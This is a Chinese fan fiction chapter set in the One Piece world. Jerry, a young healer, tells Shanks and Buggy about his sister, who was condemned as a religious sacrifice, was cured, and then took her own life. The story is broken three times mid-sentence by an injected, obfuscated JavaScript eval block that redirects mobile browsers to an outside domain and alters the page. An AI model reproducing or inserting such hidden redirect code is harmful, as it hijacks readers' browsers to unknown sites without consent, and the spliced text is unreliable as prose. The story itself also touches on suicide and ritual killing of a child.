巴基差点没被突然的拉力呛到噎死,一边咳嗽一边被香克斯拽出了门:“咳咳咳咳咳!喂!臭克斯!咳咳咳咳咳!你干嘛啊咳咳!!!” 雷利揉了揉眉心,不想去管香克斯根本就没拿围巾的事。他叹了口气,转向了面色复杂的希鲁鲁克,顺便给了罗杰这个还在笑的白痴一拳。 “那么,我们来聊聊吧,''茵弗玛利''的事。” - 杰里走在雪地里,怨念地前行着。天已经黑了,气温比白天要低了很多,他急匆匆找了个借口跑了出来,围巾都没戴。 冷死了!讨厌的冬岛!讨厌的希鲁鲁克!讨厌的姐姐话题! ''太失礼了!杰里!''姐姐如果在这里一定会这么说的。但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495348|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是,去他的吧,他连手套都忘记了,一会儿栓渔网的时候手会冻掉的。 好吧,好吧,姐姐的话题是他先提出来的。就算雷利先生让香克斯先生停下来了他有些感谢。但是,也许是他太久没有遇到相处的还不错的外人,突然发现自己无意识地就放松地被牵到他们的节奏里去了,这让他很不习惯。 像个小孩子一样跑出来是他的不对,赶人一样的话也不太友好,他们一定听出来了。 杰里撇了撇嘴,反正就算他不说,雷利先生他们也一定会问希鲁鲁克的。没什么好遮掩的,只是...他不想那么早就让香克斯先生他们...什么呢?虽然他确实喜欢这群家伙,可是好像也没必要这么在意,他们是来磁鼓岛看病而已。如果不是希鲁鲁克,可能早都离开了。 他叹了口气,在河边蹲了下来。 他看着冰冷的河水,手指蜷缩在袖子里迟迟没有行动。 好吧,好吧,姐姐,我会为了自己的行为负责。 杰里站了起来,开始一点点的抖开自己的渔网。湿漉漉的渔网走到这里已经结了冰碴子,没戴手套他碰都不想碰。抿了抿嘴,他还是加快了动作,顺便把饵料拿了出来。 也许早点弄完他还可以去附近的村子买点东西带回去,给香克斯先生他们,还有雷利先生,罗杰先生道歉。...如果回去的时候他们没走的话。 正当杰里把渔网撒到河里,一头拴在木桩上,一头拴在桥上的时候,他的耳边传来了呼唤他的声音。 “杰里——!原来你在这里!” “终于找到了!本大爷就说了吧,他绝对不会去海边的。” 是香克斯和巴基。 等他们跑到身边,他才借着油灯发现两个人都有点乱七八糟的,头发帽子上也沾了雪——也许是天太黑,跑的太急摔跤了。 他摸了摸这边的小脸,又摸了摸那边的,想要听听他们的身体状况。一时忘了自己的手已经被寒风吹的像冰块一样,反而把他们俩刺的一瑟缩。 “啊,抱歉抱歉,您们怎么过来了?要走了吗?还是...”确定两个人没什么问题,反而因为跑步过来而整个人暖呼呼的,杰里自己都没意识到地松了口气。 “我们来给你送围巾!你不是怕冷嘛。呃...”香克斯说到一半,突然意识到了什么。他看向巴基,巴基也疑惑的看了回来。 几秒之后,巴基的脸上露出了''你不是吧''的神情。 杰里特别特别感动:“谢谢!嗯...围巾..?” “呃...这个,这个,好像...”香克斯整个人开始头脑风暴,甚至他自己跑出来都没戴围巾,只有巴基临出门抓了自己的围巾出来,还是在路上戴的。 他眼睛一亮,又看向了巴基。 巴基看了香克斯一眼,又顺着他的眼神低头看向了自己的围巾...立马抬头瞪了回去,“想都别想!”他巴基大爷可不吃香克斯狗狗眼那一套! 香克斯立马双手合十,加倍努力地发射他的拜托光波。 巴基只是冷酷地一巴掌拍开了他的手。 “噗嗤—”两个人同时转过头去,就看到杰里一只手挡着嘴,憋笑憋得肩膀都在抖。 香克斯顿时就像泄了气的小狗气球,不好意思地说:“抱歉——杰里,我出来的太急...” 不过,他立马就精神了起来:“你不生气了?” “嗯?” “就是,之前吃饭的时候,我可能问得太多了...嗯,总之你跑出来的时候感觉你有点生气。” 杰里又把手贴到了香克斯脸上,冰得香克斯一呲牙:“嗯,我不生气了,我也没有生您的气。倒是我应该道歉才对,明明是招待客人来着。” 他又转向巴基:“巴基先生也来了,真是辛苦,太不好意思了,但是我真开心。” 巴基被突然的直球打的有点不好意思:“啊..没什么!都是本大爷应该做的!额...那个...额..你要围巾吗?”他扯了扯自己的围巾。 杰里本来就眯眯着的眼睛弯了弯:“没关系,不过,如果不急着离开的话,二位跟我去附近的村子喝一杯热饮吧?我请客。” ““好耶!”” 4. 亨姆岛和茵弗玛利 温暖的餐厅里,香克斯坐在卡座里整理着自己心爱的草帽。 自从他们走进来后,杰里没理周边的各种目光,只是带着他和巴基走到了角落的位置。 等他戴上草帽,面前就出现了一份布丁和热乎乎的牛奶。 “噢,小茵弗,你好久没来了,上次见你都快一年前了吧,又长高了呢。” 温柔的服务生大姐将吃的分给他们三人。 “交了朋友吗?真好呀。” 杰里笑眯眯的回应:“我也想您,安妮小姐。希鲁鲁克有时候会从这里买牛奶回去,多亏了您才长高了。” 他示意了一下坐在自己对面的香克斯和巴基,“这两位是受我麻烦了,我来请他们吃甜点的。” 安妮咯咯地笑笑,摸了一把杰里的头发,就去招呼别的客人了。 香克斯挖了一勺布丁,甜甜的,滑滑的,他和巴基很少吃店里的甜品,偶尔一次感觉不坏。他又挖了一勺,脸颊塞的鼓鼓的。 “杰里...嗯,如果会不高兴不要回答也行,不过,为什么他们叫你''茵弗''?” 对方双手都放在玻璃杯上暖着,白色的牛奶显得他皮肤颜色更加的深。可能是因为正在吃甜食的缘故,香克斯突然想起来了他很喜欢的巧克力。 杰里:“嗯...因为茵弗,也就是茵弗玛利,是希鲁鲁克送给我的名字,杰里是本名啦。我来到磁鼓岛的时候,希鲁鲁克就已经在叫我茵弗了,大家也就默认了那是我的名字。” 香克斯:“如果你有名字,为什么他要再送你一个?” 杰里很认真地看了看他,又看了看巴基。香克斯歪了歪头。 “嗯...您们听说过亨姆岛吗?” - “亨姆岛?圣歌之岛?” “是的,在北海。”希鲁鲁克抬手给坐在壁炉边的三人分别倒了杯酒。 面对罗杰疑惑的歪头,雷利简单地解释道:“北海的亨姆岛,又叫圣歌岛,有强烈的宗教信仰,信占卜。据说那里的人都围绕着''神赐的命运''而生活。岛上没有国王和贵族,只有教会的统治。” 希鲁鲁克点头:“我就是在那里遇到茵弗的,不过当时他还只是杰里。”他喝了口酒。 “你们知道,【茵弗玛利】是什么意思吗?” 雷利:“茵弗玛利...infirmary?医务室?” 希鲁鲁克:“没错,亨姆岛上,女性优秀者会被赐予【玛丽】的名字,男性则是【约瑟夫】。” “比如圣餐负责者【萝丝玛丽】(rosemary迷迭香),教会领导者【坡普约瑟夫】(pope教皇)海港管理者【卡拉玛丽】(calamary鱿鱼)....” 但是,亨姆岛上没有专门的医院,也没有【茵芙玛丽】 雷利:“为何?” 希鲁鲁克叹了口气:“因为他们围绕着''神赐的命运''生活。” 信神不信医,生老病死皆有定数,或是赎罪,或是恩赐。如果有谁生病了,受伤了,神说大家都是祂的子民,所以他们便会互相为对方祈祷,组织告解会,占卜对方的命运。 雷利:“占卜?如果占卜出不好的结果呢?” 希鲁鲁克只是沉默。 罗杰:“毫无干劲的岛啊。” 希鲁鲁克:“我在前往磁鼓岛的路程中经过那,商船补充物资的时候,也去街上买日用品。” 他有些夸张地飞舞起自己的手臂,“哇!当时真的是被岛上的人吓了一跳,我从来没被那么多人客客气气的叫''先生'',说什么''愿神保佑你您''!” 到处都是挂着完美微笑的人,温和,有礼,男女老少好像举手投足都是一个味道。 “所以,当一个小孩在这样的环境里大吵大闹,我自然就注意到了。” 他见到了杰里,穿着明显是别人的旧衣服改小的袍子,还是个三岁的小不点,却对着岛上的最高领导者大喊大叫。 '' 可我需要姐姐!她很痛!我听到了!'' '' 真是没有教养!您姐姐就是这样教您对别人尖叫的?难道别人不需要她吗?这是她的职责!'' '' 可是——!'' '' 回到孤儿院去,孩子!我会告诉修女您今天的行为。'' “他姐姐因为很小的时候就展现出了神使的天赋,教会便早早地给她赐名【米森玛丽】,把她作为神使培养。杰里把米森作为榜样,一直把也能早早地被赐名【约瑟夫】当成梦想。” 希鲁鲁克比划了一下:“你看,他当时就这么点大。他姐姐比他大八岁——” 他又比划了一下:“但是也就是个这么点大的孩子,却把他拉扯大,比起孤儿院的修女,他姐姐更像他的妈妈。所以,当他听说米森玛丽要去做礼祭的祭品的时候,他当然不愿意了。” 雷利:“既然被赐名是因为她被当成好苗子,为什么会让她当祭品?” 希鲁鲁克:“...因为她生病了。” - “您生过病吗,香克斯先生?” “啊,当然了。” 香克斯还记得自己因为爬树掉到河里,又和河里的鳄鱼打架,折腾了一天之后突然生病的时候。 杰里:“您当时害怕吗?” 香克斯疑惑:“怕什么?啊...确实还是怕雷利前辈骂我啦。” 杰里摇摇头:“怕您会死掉啊。” 香克斯:“那倒是没有,毕竟我一直身体很好。船上的伙伴也很照顾我。” 巴基:“你姐姐当时很害怕吗?” 杰里又摇了摇头:“是我很害怕。” 因为能力的原因,他天生就可以听到他人的病痛。亨姆岛信神不信医的风习自然造成了很多人重病重伤之后得不到治疗,只能听天由命。当然,他们中的大部分最后都住进了乱坟岗。 所以,对于年幼的杰里,如果能听到一个人身体的哀鸣,那么他就很可能再也见不到对方。更别提那是个非加盟国,他又住在一个收养一群脆弱孩子的孤儿院里——那些孩子就像落叶一般凋零。 很长一段时间,他都不敢接触外人。米森玛丽花费了很多的耐心与爱,才让他慢慢接受了自己的能力,能和别人正常的交往。 '' 我送给你的名字【杰里】是【强大枪兵】的意思哦。所以,我的小弟弟,不要害怕,你是我最勇敢的枪矛。'' 于是,他下定决心要学会勇敢,努力地成长,努力地爱。直到米森玛丽病倒的那一天,他的世界开始上下颠倒。 虽然姐姐叫他不要担心,但是杰里只要触碰到她,耳边“好痛好痛好痛”的回声,就震得他手指发麻。 但是姐姐是神使,大家都夸她是几十年一见的好苗子,他们会帮她的,杰里这么坚信着。 “我不晨祷,也不晚祷,香克斯先生。因为我觉得那两周我已经把我一辈子的祷告词都念完了。” “我参加每一场告解会;央求我见到的每一位邻人为她祈福;我站在唱诗班里,看神父用银针扎我的姐姐,给她清除罪孽;我用一个三岁孩子所能及的一切劳动,去换取所有我以为米森可能会需要的东西。” “在传统为病人组织的仪式都结束后,就是占卜之日。我自以为是地努力着,想着那天的结果能增加那么1%都好。” 也许神就是那么喜欢这个 ''几十年一见的好苗子 '',迫不及待地想要她去做祂的孩子吧。即使杰里觉得,他比所有的神都要更爱米森玛丽。 他用唱歌般的语调说: “0%哦~香克斯先生。那天,神赐的命运说:我的姐姐生存几率是0%。” 啪! 手里的勺子不需要用力,就能将盘子里吃了一半的布丁推倒。 “所~以呢,大家扭头就去准备新的仪式了。他们欢呼着:为了光明!那是多么必要的牺牲啊——多么幸运!” “最聪慧的神使,我的姐姐,居然有机会在疾病夺走她的性命前发挥余热。” 啪叽! “以自身为媒介,灵魂去到神的身边聆听神谕,再用鲜血传递祂的祝福到人间。” 在不断下压的重力下,布丁被小小的勺子碾碎了。 - “当然,就算不提我是一个从绝症中得以喘息,健康地活到了现在的人,我也不认为几张占卜牌就能决定一个病人的生死。”希鲁鲁克摆了摆手。 但是岛民们相信,米森玛丽也相信,所以他们准备让一个生了病的11岁孩子躺在贡桌的软垫上,用一把刺向心脏的刀做实那0%。 所有人都接受了这个结果,甚至是期待能饮上一口滴过她鲜血的葡萄汁,好得到神的祝福。 唯一不接受的就是杰里了。当米森玛丽平静地,甚至是面带欣喜地告知他这个消息,他们大吵了一架。虽然更像是杰里单方面的对着米森发泄情绪。 在亨姆岛上,死亡什么都是,也什么都不是。那是个没有国王的地方, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495349|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有人交天上金,也就意味着很多很多的麻烦。 杰里不知道这里面的弯弯绕绕,他只知道教堂代表天堂欢迎来者的钟声每天都在响。 优秀的女性成为【玛丽】,男性成为【约瑟夫】平庸者有着一千零一个名字,不痛不痒地运转着。无论是谁,在出生时就踏上了自己的命运,不论贫困还是受侵犯都是理所应当,他们只需要接受,只需要平静。 杰里不能平静,姐姐便让他勇敢。可他还是开始恐惧,年幼的他不知道该怎么表达自己。他紧紧抓着米森玛丽的手,却听到了【疼痛】的声音。 他太小了,姐姐身体里传来的声音让他耳鸣。他跑到街上,想要问问别人,问问那些【玛丽】和【约瑟夫】们,为什么她、他们,就这样接受了生命会像教堂的钟声一样,轻易地离去? 然后他就遇到了希鲁鲁克,对方在看他和坡普约瑟夫争执。 杰里走了过去,想要问问这个一看就是外面来的人,为什么米森玛丽要离去? “我不知道该说什么,一个三岁小孩在问我为什么他唯一的家人生病了就要死?我没法解释那是一座病了的岛。所以我给他讲了我的故事,结果他开始央求我带米森玛丽去看樱花。” 希鲁鲁克叹了口气:“米森玛丽对自己的身份,命运,或者教会给她灌输的什么别的玩意都已经接受了,甚至是期待着。毕竟她能记事起就开始做神使了。所以即使我跟她说治疗就有可能活下去,她也不愿意。。” 他指指罗杰:“你说那小子像个海贼也没错,之后他偷了我的迷药,把他姐姐放倒了。天知道他把我领到昏迷的米森旁边,让我带他们走的时候,我有多吃惊。” “可能是我没法指责一个三岁的孩子想救自己的姐姐,或者妈妈,也可能是我也想让他们离开那个神叨叨的岛。总之,我答应了帮他把米森玛丽 ''偷'' 到商船上,带她来磁鼓岛接受治疗。” 希鲁鲁克笑着拍了下大腿,“我本来就是个盗贼,那是我干过最奇怪的一票!” 雷利也弯了弯嘴角,不过,他很快地指出:“只是,米森玛丽不是不想看医生吗?等她醒过来应该会想回去吧?” 希鲁鲁克脸上的笑意消失了。 “是的,我会说到那的,但我想我们可以一个问题一个问题地回答。” 他又拿来了几瓶酒。 - “总之,我就这样偷了我姐姐。” 杰里咽下了一口牛奶,温润的甜香让他放松了神情。 “可是,这跟希鲁鲁克给你改名有什么关系。” 巴基已经吃完了他的布丁,觉得杰里把布丁碾碎的行为有点浪费,便伸勺子过去,想挖一点完整的部分回来。 “是 ''送'' 给我一个名字,巴基先生,不是改名。” 他将自己的盘子往巴基那边推了推。 “当时,看在米森还是个孩子的份上,商船的船医听说她病了,就让希鲁鲁克带她到医务室去。” 米森玛丽当然不肯,她只是文文弱弱地拜托希鲁鲁克送她回去参加礼祭。 希鲁鲁克没有办法,又怕米森撑不到磁鼓岛,只能拜托船医针对她的症状卖给他一些药,然后让杰里想办法让米森吃下去。 “她吃了吗?”巴基心满意足地吃光了杰里剩下来的布丁,有些腻的咂了咂嘴。 “当然。”杰里把自己的杯子也推了过去。 “即使我害她不得不离开,她也很爱我。” 想到这里,杰里的笑容变得温柔了起来,“她真的好起来了,她不再一直发烧,咳嗽也少了一点,她身体里尖叫的疼痛,不再震得我手指发麻。您们明白吗,这对当时的我来说就像是个奇迹!一个不需要神的奇迹。” “于是我开始询问希鲁鲁克为什么会这样,他便每天都给我讲医学,医生,这些亨姆岛从来都不关注的东西。我问他我能不能做个医生,我要我的姐姐留在人间,我们去看樱花。” 那时,希鲁鲁克笑嘻嘻地揉乱了杰里的头发。 '' 成了医生,再想在亨姆岛上做你的【约瑟夫】,会很困难的唷。'' 杰里倔强:'' 那我就不做【约瑟夫】了,【玛丽】都不做!'' 希鲁鲁克: ''嗯...【玛丽】也许真的能做哦?'' 他指了指医务室(infirmary)的牌子: '' 就像帮助你姐姐那样。你也可以做那个,能够到他人身边去的,茵弗玛利(infirmary)!'' 5. 迷蒙的色彩和被牵起的手 “所以之后到了磁鼓岛学医,你就一直叫茵弗玛利咯?到现在大家都不知道你还有别的名字。” “喂喂,香克斯,那不是重点吧,重点是你当时才三四岁吧,那么小就学医真的假的?” “啊,一开始是和希鲁鲁克一起偷学,学着看看医书,混到医院里什么的。后来他们发现我的能力对疾病很敏感?实践的话对药理上手的很快?有几个大叔治好了之后也过于热情....” 杰里打了个寒颤,虽然这次不是因为寒冷: “总之,我也不太清楚啦,大人都很奇怪。” “确实。” “那倒是。” 天太黑了,又只有一盏油灯,太赶的话又要摔跤。所以即使很冷,三个小孩还是慢悠悠地往回走。 还好安妮小姐借了围巾给杰里,所以他只需要忍受双手的寒冷。一手提着油灯,一手提着给罗杰和雷利的礼物——也许这是个承载着什么过去与未来的天平,他估摸着两边的重量。 香克斯:“但是你现在不是又叫杰里了吗?好像也不想让希鲁鲁克叫你茵弗的样子。怎么又不要那个名字了?” 杰里:“真犀利啊,香克斯先生。被赠予名字可是很珍贵的事,就算再怎么样,我也不会丢掉这份祝福。” 他做作地叹了口气,“看来您不喜欢我名字的概率是80%。” 香克斯:“诶——杰里——” 杰里:“我耍您的。” 巴基:“哈哈哈哈哈哈!我就知道我很欣赏你啊杰里!” 杰里嘻嘻一笑,用肩膀撞了撞垂头丧气的香克斯:“别生气嘛,我来告诉您我为什么又开始叫杰里的秘密吧?” 香克斯眼神一亮,像个小狗一样凑了过来:“哦哦哦?什么什么?” 杰里:“因为啊...” 香克斯:“因为.....?” 杰里:“因为........” 巴基:“因为???” 杰里:“因...为......” 咚—! 巴基收回了拳头:“要说就快点啊混蛋!” 杰里笑了起来,也没在意自己被捶得好痛: “哈哈哈哈哈真失礼啊巴基先生!不过,我就是喜欢您这点!” 他正了正神色,“因为,我不会再主动去谁的身边做【茵弗玛利】了,就是这么简单。杰里念起来也更轻松一点不是吗?” 香克斯和巴基对视一眼,互相使了几个眼色。最后,还是香克斯开口: “嗯...是因为...我是说,跟你的姐姐有关吗?她不想你做茵弗玛利?” 香克斯已经脑补了一堆了,比如杰里的姐姐就算治好了病,也还是更相信亨姆岛一直以来的想法;比如两个人大吵一架,最后米森玛丽一个人回去了亨姆岛;比如她姐姐说了一些 '' 我永远不允许你做一个学医的【玛丽】!''这样的话...故事里的妈妈好像都是这样和孩子吵架的? 正在胡思乱想的时候,他听到了杰里轻轻地笑了笑。 “啊,不,就算我说我要做【茵弗玛利约瑟夫杰里】,或者是我想要她的名字,我想她都会同意。因为她那么的爱我。或者,她会不会同意也不再重要。” “她死了,香克斯先生。” - “所以,那孩子最后还是去世了啊。” “嗯。” “确实,如果医学最后到底没能救他姐姐,那么他对其失望也是有可能的...不过,看他的医学知识...” 说到这里,雷利看着希鲁鲁克越来越扭曲的神色,敏锐地察觉到了什么。 “她不是病死的?” 果然,希鲁鲁克重重地放下了酒杯。 “嗯,茵弗把她治好了。” 他看向了屋子角落的小床,好像在看遥远的过去。 “她自//杀了。” 当然,米森玛丽没有死在希鲁鲁克家,而是在外面,在她被宣布康复的那一天,没人知道她到底是怎么做的。 是杰里在那天后,在那张床上躺了一个月,他没生病,也没受伤,只是突然不太想起床。 【米森玛丽死了。】 那些日子他不怎么吃饭,只是反复咀嚼着这句话。 等他赶过去的时候,她已经躺在了洁白的病房里,洁白的病床上,脸上蒙上了洁白的床单。 那间屋子不再被她的咳嗽声和呼吸声萦绕,杰里在那寂静中突然听到窗外的风雪。 亨姆岛的礼祭是什么颜色来着? 念词的牧师是金色的;烛火是橙色的;姐姐作为神使,应该会是是黑色的;圣餐是..是什么颜色?绿色的芦笋,褐色的豆子,还有仪式结尾,滴入桶中葡萄汁里的,祭品红红的血。 他想起来了,他跑出去的那天,那些【玛丽】和【约瑟夫】们,谈吐伪善又端庄—— “那将是一场盛大的仪式” “那是她生命的意义。” 而他的姐姐,永远在微笑。 “听我说,杰里,——” 孤儿院的小孩,很多会早早离开。杰里曾经见过才刚刚被带回来的小婴儿,还会吱吱呀呀地抓他的手,两天后就消失了。 修女说,他们去做神的孩子了。 神很贪心,他想。 那时,米森拥抱着他,一遍一遍地说“我并不痛苦”。他却在她的怀里,听着她身体里的喧嚣,感到了一股无边的苦痛。 '' 我也很贪心 '',他想。 所以希鲁鲁克说也许有机会让姐姐的病停止吵闹,他同意了。希鲁鲁克说他可以做茵弗玛利,他也同意了。 他忘了米森玛丽只同意过做【米森玛丽】。 她本来的名字是什么来着?杰里想不起来了。 所以,米森玛丽死了,死的并不盛大,也没什么意义——她发现神没能来带走她,她便自己去见神了。 姐姐不要他了。 她也许爱杰里,但她从来就没需要过【茵弗玛利】。 【茵弗玛利】把她从铺着软垫的供桌上带了下来,远离了为她的死亡欢呼的色彩,带她到了一座白色的岛,住进白色的屋子,喂她吃药。【茵弗玛利】听着米森身体里病痛的声音越来越小,快乐地咯咯笑。 而她一遍遍亲吻自己弟弟的脸颊,即使他没有听她说话。 杰里突然明白了——0%吗? 可他又变得迷茫——0%...吗? “我听到消息过去的时候,看到茵弗离她姐姐的床边很远——我本来以为他会在她旁边哭的,结果他面无表情,也许是还没从震惊里缓过来。” 希鲁鲁克示意了一下从左墙到右墙的距离。 “我不知道他站在那多久了,又想了什么。就想着带他跟米森好好道个别。” 那时,他抚上杰里瘦小的肩膀,将他带到米森的身旁,嘴里轻声地说一些什么他哭出来也没关系的话。 杰里没回答,只是在走到床边时,阻止了希鲁鲁克想要拉下遮住米森头部床单的动作,然后轻轻地把自己小小的手指放在了她露出的一点手上。 于是,他棕色的皮肤便成了这片洁白中仅有的颜色。 ''好安静。'' 希鲁鲁克又灌了一大口酒: “然后,他就对我说,'' 希鲁鲁克,我以后不跟你去行医了。'' ” 他就再也没做过【茵弗玛利】了。 “当然,我提到过,茵弗不再 ''主动'' 行医了,所以他也不是 ''不行医'' 了。只是没有什么理由去推他一把的话,他就不动。” “想想看吧,他刚刚成为茵弗,救活了自己的姐姐,她就立马选择了死亡。他吓坏了,认为这个选择是自己的错。所以他开始迷茫,医生是不能迷茫的。” '' 因为患者拜托 ''可以是一种行医的理由,但是本质上不来自于他自己。所以他仍然不会前行。面对世界,他骨子里有仍有着一股从亨姆岛带出来的冷漠,这点他和米森玛丽是一样的。 即使是希鲁鲁克手摔断了,他也不会再主动去管。他不用双手碰他,好像就听不见了世界在让他做出选择。只是承担了洗衣服,做饭等杂物,然后笑眯眯地说:''希鲁鲁克,人要为自己的行为负责''。 如果希鲁鲁克找到理由拜托他,他就会运用能力让他的断臂以超乎寻常的速度好起来,手段粗暴,毫无关怀,他也不在乎;即使希鲁鲁克活动还是很不方便,一但他''听''到的病痛止歇了,他就不管了——不推就不动。 “他缩在自己的壳子里,捂住耳朵。治病疗伤成了一种可有可无的礼仪性行为,他自己不知道要为了什么去做,也不想参与,假装一切都好。这不是一个医生该有的心态。” 即使是''巫女''Dr.库蕾哈,也会主动地去村镇里为他人看病,即使她会找些古怪理由,收高昂诊金。 “面对繁复的生命,他得自己去找个属于自己的理由,我能借给他的只有那么多。” 他指了指几乎占据了一整面墙的医书,“但是,他从来都没有放弃过对医学的学习,一天都没有。他只有十二岁,所以我仍然带着希望,叫他茵弗。” 一时间,几个人都没有再说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495350|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。希鲁鲁克也有些醉了,除了库蕾哈那个老太婆,他好像很久都没有这么跟人说说话了。 真是神奇啊,这些海贼。 他回想着罗杰一句话驱赶了暴乱的拉邦,想着在晚饭时听到的冒险,想着那两个比茵弗还小的孩子恣意的样子,想着茵弗在和雷利说话的时候,弯弯的眉角。 那孩子应该很久都没吃过镇上的烤栗子了吧。 他思考了一下,突然开口道:“罗杰兄弟,雷利兄弟,你们是因为什么,扬起了【带骷髅的黑旗】?” 罗杰咧嘴笑了。 - 香克斯笑不出来,他有点难过。杰里还是笑眯眯的。其实船长也是这样,总是在笑。可是区别就在于,香克斯觉得其实杰里并不想笑。 他和巴基又开始偏过身体,隔着杰里挤眉弄眼。杰里也没管他们,只是把手里的提灯微微拿远了些,以免巴基撞到头。 他们是海贼养大的孩子,开心就唱歌,伤心就喝酒,不爽就打一架。没人教过他们要应该怎么用语言把自己心里拧巴成一团的东西吐出来。 然后,香克斯想起来了杰里的能力。 他能通过触碰传递自己的心情给他吗? 他越想越觉得可以试试,便将杰里手里的袋子抢了过来,然后一把握了上去。 杰里:“?香克斯先生?” 完了,他好像感觉不到。 香克斯:“额...那个,你感受一下?能感觉到什么吗?” 杰里;“??是身体不舒服吗?...还好啊?” 香克斯汗都冒出来了:“..没有不舒服,就是,嗯...我觉得,那不是你的错!” 巴基这会儿也反应过来了,将杰里另一只手里的提灯也换成了自己的手。 巴基:“没错!那群王八蛋不是要让她做什么贡品吗?你不带她治病她也是要死的——” 香克斯:“喂!巴基!!” 巴基:“干、干嘛啊!本来就是啊!” 杰里笑了:“哈哈哈!没关系,香克斯先生。我就是喜欢巴基先生很失礼这一点啊!” “而且,没错!我不带她来,她也是要死的。” 不管是病死,还是被献祭,还是自我了断,0%,不是吗? 他深吸了一口气,沉淀五脏六腑里翻涌的情绪。 “说实话,我自己也搞不明白我在恐惧什么。” 他抬了抬与他们交握着的双手:“我现在牵着您们的手,但是,我也随时都可以松开。” “我听到您的心跳得很快,香克斯先生,也许它在告诉我我应该松手。但是您说,那不是我的错。所以我想,您在说我不需要松手。我松开也不会怎样,不松开又会怎样?这没什么意义。” 他叹了口气:“有什么区别呢?现实就是,我们在牵手。” “我没有做错吗?米森认为我错了吗?我想这件事不是随便一个人就能说的,不同的人会有不同的想法。它也变得不再重要。” “我治好了姐姐,姐姐放弃了我,她没有得到想要的盛大死亡,我没有得到她的选择,这就是结果。” 香克斯听的晕晕的,巴基也拧着眉毛。杰里看到他俩这个样子,无奈地笑了笑: “哈哈,我都不知道我在说什么了,让您们见笑了,我总是这样。” “我只知道我不能再做茵弗玛利,那真是个很好的名字。但是我太自私,对生死不能理解——我恐惧,先生们,我从小就胆子小。” 眼见就要回到住处了,杰里看着灰暗的风雪里遥遥的一抹橘色,那是希鲁鲁克的窗——他突然很想停下。 直到他听到香克斯大声说: “别管那么多了,杰里!船长说过,想要的就去找,想搞明白的就去问,我们要活在当下,不留遗憾!” 他紧紧地握了一下他们牵着的手:“你想放开就放开啊,不想放就不放!这有什么关系,是我们先牵上来的!也会一直牵着你的!” “你有几个名字无所谓!就直接叫我香克斯吧,我们不是朋友了吗!” 我们是朋友了吗? 另一旁的巴基也开始嘀咕一些什么如果想找他帮忙,他也不是那种需要他拍他马屁的人什么什么的。总之是默认了香克斯的话吧? 他听不太真切。明明是牵着别人的手,他却突然只能听到自己的心跳。 噗通——噗通—噗通噗通 他想起来自己说—— ''这没什么意义''。 杰里有些僵硬地低下头,发现自己刚刚还被寒风吹得冰冷的双手,早就在被温暖着了。 6. 到大海上去 说实话,当初雷利决定跟着罗杰走的时候,就知道对方是个麻烦的家伙。不,罗杰一开口说什么要把世界搅得天翻地覆的时候,他就知道了。 而麻烦的家伙带来的麻烦,他也早就预感过会很多。 二十多年过去了,事实证明,他是对的。自从莫名其妙贡献了自己住的船,麻烦,麻烦,大麻烦,超级大麻烦就接踵而来。 他要打架,要交涉,要管理,要看着罗杰,看不住就要善后,后来还要养孩子,还一养就是两个。 行吧,行吧,两个孩子都很好,一群大老爷们也算是把他们拉扯大了。 然后,罗杰病了,呵呵,还是绝症。 副船长能怎么办,副船长只能给自己的兄弟找医生。 找着找着就到了磁鼓岛,然后罗杰一个点头,他就得准备在船上再养一个孩子。 他应该庆幸这次不用从换尿布养起吗? “不,就算我理解你们的心情,那孩子也不一定愿意吧。” 雷利头疼地捏着鼻梁,不想理会对面痛哭流涕,嗷嗷叫唤着什么朋友兄弟骷髅旗的浪漫之类的两个家伙。 “哦——!那就交给你了!雷利!” 这是他想打一顿的船长。 “唔哦哦真是帅气啊你们!” 这是让他想一起打一顿的家伙。 不,他应该打一顿二十几年前的自己! “您们...在干什么?” 噢小鬼们也回来了。时机真好。 希鲁鲁克蹿了起来,胡乱地用袖子抹了一把脸。大声喊道:“茵弗!你跟着罗杰兄弟他们走吧!” 杰里:“...哈?” 这么突然?他外套都没脱呢。 香克斯欢呼了起来,巴基也一脸惊讶地看过来。 香克斯:“噢噢!船长!杰里要上我们的船吗!” 杰里:“不...” 香克斯:“太好了!!” 一片闹腾里,雷利看见杰里在发现希鲁鲁克是认真的之后,脸上本来柔和的微笑,缓缓地勾成了一个完美的弧度。 “您不要我了?” 他的声音很小。 希鲁鲁克掏了掏耳朵,然后大惊地翻滚了过来,半弯下身,握住了杰里的肩膀。 “不!不!我不是这个意思,我是说...” 他脊背僵硬了一下,突然下定了什么决心一般:“你、你也长大了吧。” 杰里:“那又如何?” 希鲁鲁克:“天天在我这里用我的实验器材,在森林里乱跑,捣鼓你恶心的''药膳'',又挑食,又难养,捡一堆垃圾回来当宝贝,我也很累的啊!” 雷利挑了挑眉毛,居然...用这种方式吗? 